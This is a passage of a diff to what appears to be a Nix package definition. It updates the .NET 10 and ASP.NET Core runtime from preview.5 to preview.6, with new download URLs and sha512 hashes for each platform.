-        hash = "sha512-zbq3UWa9qBoaEgYvvU1dR6V9YPIHs+liWOhUj5qfGBGKtZH8bTvpbNu0isYms0d9ML69aWTAiZg5C9rFP5hrag==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-LOoGtTUAg4/m9912v1s4yvh/wx64gRW6+052ZpHphizEbI/mvy5MGZpxS/WQHX34+RDXIG90CpdT7caL5iC1JA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-ksXckpgL0kdZEVVgAmofcEUL8GIxwPOGS2+UVN8Fo7gj+RV0zwbXSUH3v4KNIq/8ngFVOh6pQU22CzCwxoB3Pw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-t10QcEDpbrSvoe2BhUCtqOAqfXayzy9uujpiIeAdOyptGmBppA37G+F4cCRsIx6wzhCSrdPkYoh1KzD4rqqlyA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-bpdq72fgG+2FD5BC95wpEikX0hmTnypjS+ORXy9205+a3ElhlQXzwe1u/x3fNzAKOXVeGatHibdzAHrOmowARA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-ykHn7VUDn711h67XQd+nx5Tn0L0vYWQY8kKWqqTXm/mBEM5CjoMd9qft6jirusGORVxC5RAnUENDt5n48B4xfg==";
       })
     ];
     linux-musl-arm = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-ctmfELPcwp5Vaoh/3oQVoe2ZtivoZarY+XgVW3jC0hvn7qiensODQJP3am84kRu5l4k/c8MFU4HJkjFEopFKCw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-6G+05BJAEjErJMixdkEAndBjgaCe7WmasdRypKPtYRfzvPVExrq/nak0ZiaJ0Dd3WuYdbi69Qyeuhj7atnAImw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-v39otkbx5A2qerWBnqFu6ZtJYXy4sMvK/xv8RGMOgLR7VdcD5kwQpF80ldz7de23qh66nRFd9ONLKajtJqu58g==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-xjepU2UUYCP30YJHPdX0PN6C0ZqP2RKAEsJWpnNSlYQ8fcDHgy+l5ZTQPBD4egfWKlPCEtgSZod3p9nTggSoDA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-BHr5lNkp8ct/5a2kSVedpsTPKGhOm/ofmD0Tgb7a3vT0dEsuzH+4CwcH7/QmSfyr/TaJeiOzraBxIuQwGlDTHA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-NORvYn5NilmBCZzLwrWXEPI7WeEKKwIHzh5USjQHQLsSoiWcOSZVKQLkqK2baSFjGktLyHmHRUQ6VnTggDuPeg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-0kygUISqT53WxlL8CYxN7yR/imN0z3fKWgm3NKhUbW/nURkcvLz/J/ft64/ib26Ez4izYNnRqJOYdAaYWSd/XQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-tMM7GajJVqT1W1qOzxmrvYyFTsTiSNrXSl0ww5CYz/pKr05gvncBdK0kCD9lYHruYMPVdlYyBCAICFg1kvO7aA==";
       })
     ];
     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-aOBEqQy1MMYXjG2tCc/yvCN+J5wRq0ZONOW8CTDIXJJVC7FDsW4gDHpa8B6j1D+Cfufw8lN9jymwmEkg+bfQeA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-wUU31YeB3hCc41XTTSXbhuYKKSbFv3rQb4aO0d93B1m8xPZfUpYA121ysuwaaiPgHvFK27wfYBHAAO82d1Tbsg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-nx+JKXvSyhia1LdIRj0wN/Enu7hEoggBI0/kZtE+K/k5RJAX4An2GVirc5YvuM2FhWnEHC72Ex7Dg74Q4rFWBA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-eQ28Igd0kDwNnBeaXvQul2U4Za4KTkBJ2hF5gi6/8xL8tJAIvpSiuHrcspBB7oqr9/uOU6R4eR7gDmOH0OVRaQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-Ik2gQHaJkzM45PFOzFW5nbTdXJLfEcBtWC077cD6Lzmdg0C+jRRYLpDtXfEqt9CMBdgGKYWR4KBLKubLiC7nsA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-zHJSkQl00ygE1BBWjjSZgQmT+rpX/ZoNvU3az2Vfk0D9tqM4+zQ0M0IdBw0Eu1Wr46LeifWIScp4pTvzBB0R/w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-YdnzOIgp1zhd9OUpcEQJ3/Fje9GviYa4/+bbn8StJgMK8RgR+9CTQeC1ePazCqKXQ7oYcXXjgchE8CbNsxRFfw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-RaDmfdtde+m27g31HXvBUJme7NUUT07bv5+Wp3mPH/FXE6tT8W1DvG9XNRcT2rIEDq24ktpfyBiNbN8fieBfqw==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-39ITIAZNO9ZVKE6UY5KKSWvd3wiT1b6n0nUfApUCqMd5MlkExTuMKToY5J1CwWhDhWTq8d+q9USCO65MsUueIg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-723qKUmFeBKN0yfsf9zhP3k5ZKqK4UYvdKbDL80oyhzm4gQZ6tsUU4fHeHjJVJfqyN+wKS+R0WthyxhA9m07/g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-isbzkA/HOGFEqZLugW6V9C7xx1RLA6p5v/YrdW9au1/RaCjS8OAS3/rcZKUT/lu6wubSGHaLdzWeqIwmWwgoaA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-hPcjYztP9miyYl+mqvTqoEqaa+fp+kCFVrROIwUEDBMNs6Urk76qsWJWE/uI9kLBh1zTHiDsWlXDiOXcftVBxA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-whDhidFeiAPcU/aSCxUcgfgjbISQw2IwR2fHhHB2vE5Yf97XEIzYACpi/skGYqBWroXYAmaU/Pm5oULMrEJrBQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-IG7yOIrrLUvA22aUGR7g9VtXK3WGCsID9TokGqET+LoO4QTLlFRYjbrsUkvttuGUHftOTgDh+4abzkcqaTfd6A==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-5N7wlWk5zDCzwqee5s8IDVfBMk7w50K6nuZworGH19K1q/twuuwflRIz07DBvNkhmR3E1ScSUYmZr3YP6o95aw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-3PwE2oDr4+n93nPZbHz1kgJkpdus91UR5IXKnMWMMxcEq+VgNvNpU4+M+khwPOXSmxK9LY6dsd9beQVIFtrDVg==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-R3bUl0oLPwjxngS/KqDYO6+lhhwhAmd5N4yOlOqdpgfm719+1vuCYc2VLOx9MIf+sh664VsfuByCI9H9oji9dg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-QVYtaGiLQ0bWTiav/cc2Ps+PQ9co8EmTW8NAzlf835camz7gdjZHKo5/z4FOVUHVftCY9vn2yBuBcwceI6f+Bg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-Rw2ijbzcMUbs6vGu3AxIGNTNB+ZeZvuNNDvsj5XTOSL1o2ndU2eW343QAi1hcKXL1pc35eYJZWPOq/gQgBSnVg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-4ktCvzYslGK2G2CLPy4As8rbHGPtQw0RA5VC9WxRmRpDH/3cyicFbRaBRVc2y19p0tV9nMC9KdaFyptm80lQZg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-npo1EFBfZotj6hbR7uoArZeXEQtnKLarXYnez8JmmAZsRU4osSvYyg4Q/jGopjlFEuyixtWc3rb9rO6njYwxew==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-MPUbFdcUXGrfUpdNmcPvq+EdaBLcl+4+nsbUwftOT1041DpIUkFfDzgWNWVMjPG3Prf3K0iKPtvdKx9bdUlq6A==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-tWtY3DpiKsyQNOg4NN0i/IpRpJ4vjmbDk7B+OdqQrFKGwR/HKXlJ9KOMrqU9LsvEFE2WAGAr/UH0r96iZFAxtA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-CtxI7P/Il0bLfPXN6ofeL4Vm4ISp3TjvRBZt8MkACaTErFseNiwIIAKNqZ+d9lIxj1MDGA5fCfVn/0PsGIksRg==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-9kI8hH2vS45pgael3UCyVCYvmYH/cXKVrFzh7toKoN1p40YPsTh6qHQRjO4W828zdy2g74T5Ct2ypgMGfdzyyQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-p18BC5bG9/0ktSBUvxZOqPpr9qkS0Z6G71GViCAzjtV+fBllt6OE7T0rSvOZ14FjZFcSqMA2HZ60I3H93cK6TA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-uvB/nzacyGad9m7Td8HxrJvyEB7ZNlpm/cxk/G0ufjzTXofWziHKzC0x/gPdc2tZIJQPOaAXOUAcJo1cl4FUug==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-T9Rhlb0Ivsaev2JNEKRLRoc5pyowBy+meS7GzijwfHOEviRw2rMpPNK+8DoygI8HRetSnjLghMlzdcfURF10LA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-DVJVHV78Nd30U6kiQon16sCPrXuaZLOgFQMLFcMQ4L07srDd962CfijiWAWY5tvl9oO2uWWY9PVqvMFyyMI/YA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-7SI6G+CVFjxrcgJny64fmvOp4Pz02EXrhlKJdEKoht+enh8c/1pY55cgR5jq9GWJ9iJNtV9/sDUiADK74NWWKQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-eFsS+N1nnCG+NGq0jcVhQ0vk3Vthyrz4FsHvZqb2YUwvTDBy8deJZxgaTWBuzRX0QjMgojXjNRCGnjEdtOesEw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-ui1NVLgK7tEN1Xv+MO8FRovfg1OR4sKGf5GXHz2CN88GLkzznp5m9sSAETN2IPueRV+aaQ8JFaLEEw1QOdlh2Q==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-7raTvTDZSJ5SNIPU5hug3kGnQqKpNhaBGrXH3v9a0usFRgBbvXEBS9U475YH0Xr3skdOkGESxV7TAzWqMwGGuw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-kTwrqjATCL5woNksB+G2B39lOIUkxLnouFruipzLnsDKSxG50pKIhxWUkrwTfwatL/zQasE+aVlwEfSQAxQteQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-4zmNNMtPHXZpvAZSJcf+/gKIJ4bklQbhkwmllkboOyD+LHeHTeloBakB8IfVc1ZIPGeYmoH0rb7WNHuARTeAmQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-86sGYDN7tFGBhAUacYgosah0TTIMT1czQtKHb6vKXOGo1wWAYa+MsGXrdUA6o3rpvybL8rbRANQ1tarIfui4Bw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-7a8P7l3yuhiUZfRCSy2BCLedgSVCIOGktdjIniMlQGou7FON701ld0JNI4Stc/WdOQe92IfOBxA1r2mhhpm+Ow==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-VkXVbi8EbajQYu5pge5VCXxWGhHJtLivHM+rqHt78b8w2IpYfRACV7lqEU1COg9D3sZEG5oLOzKLCCN7lSiekA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-gSMZ9F1gZ/cuDLo+I9k0/9h8Yz0xFRsCapNNzP5J9VQYzbQMU5gFp4zY2X/+ZIUNVQtCrTgDNNy4RXoP1Lo0DA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-CUdm0Uw4kGSk6oVm8QZLSwxngMFmbNoiFXve2hT0/Csu4mJe6ttV8C/Y0VLPBJr3GmoovOzMeH3coQfEf2YvBA==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-EbFp4C0rB5GEd/EXaXTA2LlQ4XwhhzBTIP2f8AQY/26hYOXTYYk+ssz3RGNh81vt3QbBZocwN//Nx+mvwf3+iA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-kV1DnmxJrCauIvUfNe4wC4Yi888dzxxf7sYT4W/apnCSHvcjueYEZOGtoLSirsJJrn5aj9OeFVz+bAbd9nurxg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-q+bdIwi2R6egAwfMbBFpjjl2T2ADeMBumODqQQU5kO4p56bSYAN97c2lAnJ6I+8x6EkZ92SHlAVrmauH/XR+KQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-XsP6i0SHVuDjS0IWBC+/3QXDJO+3ARuFbPSu9fRjR5NkK5/A4lQpBWJRymTzqWHzmD0DLYMEfwR+3mdG2A/StQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-x4c4bS0IRW8ELlG0ND2Wz3zMbqZGDgSV5WAIJpJh97SvHVeCZIZ6FLB1EsYmeMTCp0zyt5ZYOMCTAMuBO7B3Tw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-UsW6m9/wuBUWM8SU/PHsn+9GQMRp4i00KfWDzE/s6rnCs40WRvy5Zcj923XMy05Bt04dhSrOOmDR1/vkydaysg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-WtDdm/9kPWVZziKlVSZ95cJYBFZ+O9acpLsnWu+a4C7uaR0PnVA5kdV/KPZpZp5ZuSGDzW7LuZy85e/zYU+q5g==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-Btz15yrqllW8cQ82bDOMB+fo1ONv4j+BvpZGQTt4zwqgyxq3qznnxVHrMxiG+UUwhDlD4ajCGYuZCjHECODTHg==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-XLolCkHXsP9M0HBsRHxzWE7Gvc0PYUlYFOa2zbIM5YqrnS3fBuSkwuy4pGKB3ovNhCV5M6ZUDFkwsW6QFXtdkg==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-bVGv/VP4T598HMR97vrcF8NxOv43rTn4RtH5JSm/Z/I2l6Jf4OsEmrP7ciCJho65xgG2NN7E80dAfv6Waan/DQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-hOgMOwwqKxKiEh51aoDrXS4ygFfByD8acPxhUPQKbuewoymPzWgF/BppaIyXJVFNvi4YMm0ANaQZ7asRv+6QLQ==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-OvOg+DllupzQyo2AiWJOWhd3G7sXoROVbGIbaO48l3cXJf+EkT3mwK0WyKNJo1SYDBSHP4PL3CELLyl7KeuBTA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-UYv0JpAcv6c5c7QdeM8xmQULQNxeIv87OYh7vVmy6mmGLVOipeDynwUrrZreyzr/Wl4i86//JsyEfzEWhViZZw==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-di/eQOCbK7Gckc/GaFEJbeHA8xc1sjPYb4ZgSDQG8s/lSc5EocnPG6YSiPu5noCS/kl4caLJzu8mcNEbHo9fQg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "10.0.0-preview.5.25277.114";
-        hash = "sha512-KdRROs3JSxZ4+Wgqww8EwWE4p/Redg9d47peJ7sjsgAlRqTK8WpPiN50vPu3pXwcuGZozJ5e7dsg1/In1q6lZA==";
+        version = "10.0.0-preview.6.25358.103";
+        hash = "sha512-e4ZDOtOGLbKnCy90C+6+pAtkX/CJlAI3dPV3zF8Dtk4kCG6m+4TnbohG8z+CBaY4Tyh7HRXfCwA0sMhkZIhJ/A==";
       })
     ];
   };
 
 in
 rec {
-  release_10_0 = "10.0.0-preview.5";
+  release_10_0 = "10.0.0-preview.6";
 
   aspnetcore_10_0 = buildAspNetCore {
-    version = "10.0.0-preview.5.25277.114";
+    version = "10.0.0-preview.6.25358.103";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-arm.tar.gz";
-        hash = "sha512-CDAgO72l8b5njlm/COTL9sDaUsmAnQJgBLou8OoP1qMIjI8CXXqSxmGbD7WG4HBW90laJtX9U3yuCatxyoFuHQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-arm.tar.gz";
+        hash = "sha512-/mrP2TIr27NliznmIGDFdjriPeeSpDDbRyaM++1gNgJk55NQArHO3KgTMog2d5XlnTgkp03lH5lk3FQKgU2RiQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-arm64.tar.gz";
-        hash = "sha512-rJnr7E56vWYKJzF9N9pWrh+o6evb9KiP5fm+WOH01+jwW+wy1ekCwP3R6dniUM20lEgmZoIBDkz39GQPlpm58Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-arm64.tar.gz";
+        hash = "sha512-iGZ9ZtkKq6MGSfhNENBX2nwNtHnNs2t2gk3I4PAqRKa/XSaddNqg1reDdvLcZrYCOFWCZ1VeLO1Ay9BqrHRdag==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-x64.tar.gz";
-        hash = "sha512-bmmoX34YuO67X5mn6Amdsvpdo0vPB4vsuxI8CGPUvntCUsfPxrIblYX0+ADAWKEsrlXvKmO5vqiGyj0dig7BEw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-x64.tar.gz";
+        hash = "sha512-FczqQ09eM7SvhyvaANMNP+5ElBE6Hl17HoziBqsKLgk4T6WiI6/d5LlOo7fhK3lsGkUTi+gzKIvWh0GuhD+2yA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-arm.tar.gz";
-        hash = "sha512-eJ7G3LaAXtcJ8D+s0Z4s8E+uuIQI4kNrx+fnbrZfJzQC9HFM7mDGsI/ZtZE4v/Q7gFll0dXFulhb6uceX/uLTQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-arm.tar.gz";
+        hash = "sha512-HArq8wBlBcK/tkjyViWT9iu3pVsAULbMgecK6cwaNcrbv9VGEXBaGwv4SYqqNV0DeEfJ6nqa2j9YVWiLpqYTSQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-arm64.tar.gz";
-        hash = "sha512-sG1ip8UwDEp/x5VDgYDifBJ+lxV4+Ph0yMbXM74rZF77WbYz2I9mWMo028vItolnXLNlGmElmCBPwqW65B02HQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-arm64.tar.gz";
+        hash = "sha512-CH7Qk+rFkx3YjOnIF1Q/rEp/sAcF/+cet1U6/QoVtQfrWmO46FDhT+SI3t17OaCshkmaFU5oSBWpnBIjr1NJ0A==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-linux-musl-x64.tar.gz";
-        hash = "sha512-yZiYPbLNXoujcDkAhzkp2T8P+MalG0ZaJwNZcrp38MGactPLhULdsy/s0edro5cWJzkaLgD1qf4d985kg5LTFw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-linux-musl-x64.tar.gz";
+        hash = "sha512-bU2Jk/BySlwwy7XDR9ovxoct3HUdvGykOI5/umDVFiZhk5g6mErGv+h5tEh4j3e6+1C5mWfe+6QD9E7j/ycx7Q==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-osx-arm64.tar.gz";
-        hash = "sha512-YjtaKT+Y3TXTBfMRKBeSoavZzlV/MaZnOUPyC5KObqkYB2rY8hmD7FFIIGv6TAiY7o2SbflJJYOMzhGur2pVJA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-osx-arm64.tar.gz";
+        hash = "sha512-VlWHBJhm7w4JIR0SLJUOPYfzvCL/dA5NVQYY1ppidjuN12bBNcC95Px8zLqmTzMhQrSQ0P1ClOTFjimCB49yBA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.5.25277.114/aspnetcore-runtime-10.0.0-preview.5.25277.114-osx-x64.tar.gz";
-        hash = "sha512-IxZn7c9uc0JAwKj0DrtCjntWhcUYW6H6UNX1By7YZTP56UtpVRyL9sFtpN5N/UmA5qwl8QShzBUYp5I5m/ImjQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/10.0.0-preview.6.25358.103/aspnetcore-runtime-10.0.0-preview.6.25358.103-osx-x64.tar.gz";
+        hash = "sha512-c2tCqqrbhlRIvM/bOO2KlmCELsmPS4Trexq/E6imjPsWbx8dHZt6viROKAC0BwPUsxpQO+o2NZc5oEHjMsZSXQ==";
       };
     };
   };
 
   runtime_10_0 = buildNetRuntime {
-    version = "10.0.0-preview.5.25277.114";
+    version = "10.0.0-preview.6.25358.103";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-arm.tar.gz";
-        hash = "sha512-2SlNCqSiJOGnarCGhNgnWAhBtFoNlpU8MX70/ThYwIUkRVswJzT3btfVyUCyEv0Rb3pfExf3pEY6rb7JEJia7g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-arm.tar.gz";
+        hash = "sha512-dkFn08ZTnl3/nj8Qh+pAs3urJy9+bB3gyGLXak0MNEUnmbRY6fpwMprijsbQfWtiSz9b0KooEubn7I+PavI7hw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-arm64.tar.gz";
-        hash = "sha512-muJNZSjDAkL1N/LT462JuH6+R7rUQf1nMN9SZNE1pjcFchtn9DTiJRgJATslrbLjc01lDiM+bIccV51xMkCmUA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-arm64.tar.gz";
+        hash = "sha512-cbydt+UH85l1JsTzkzkUYA+Q8AAxxhc1nzuAtyuBiljcgEpe2zTGt8qx4WVx6FVVRZUNGgcgv/WzGsY3RP204w==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-x64.tar.gz";
-        hash = "sha512-7CHv9RsPi558nAC2zJ6c3YEJl8nSwZhwQsSM3Wv25AwlUqy/zaQFxWs8595Ss6IOa5HwaMbkvRAbiWwwKjK18g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-x64.tar.gz";
+        hash = "sha512-f+rKqGVeFFIdtrqaeGByN38GOGTkGMXk9ep5kjop9HJO9u0WB0VFnuAo8ZJ5r6HA/t6atpM3IgiQnu+HM8oDZA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-arm.tar.gz";
-        hash = "sha512-N7OLXKaeLLvdz69NfC0fZS5WNo88S8qELIzYH6EIolr79amshYVjY+puDhDIXOwDz/V+ZBaQ7d3wk48X03neMg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.6.25358.103/dotnet-runtime-10.0.0-preview.6.25358.103-linux-musl-arm.tar.gz";
+        hash = "sha512-XXF9htD5Vt8lgTAnA9TYSNyBQjHnEpOgkOr1axgUYIRUOj1GcOQxDrkPOS4YKtAHycx8wfRRTQ76nfO2XRCD8Q==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/10.0.0-preview.5.25277.114/dotnet-runtime-10.0.0-preview.5.25277.114-linux-musl-arm64.tar.gz";
-        hash = "sha512-EPWk90PYeVaI+rG55zbNduBL7LWlaQPZYHzXaUyBoKrO6Uj6URvkY+fXGe+KqpzNkJnvKmoPFdlV0jjOCRn8nA==";
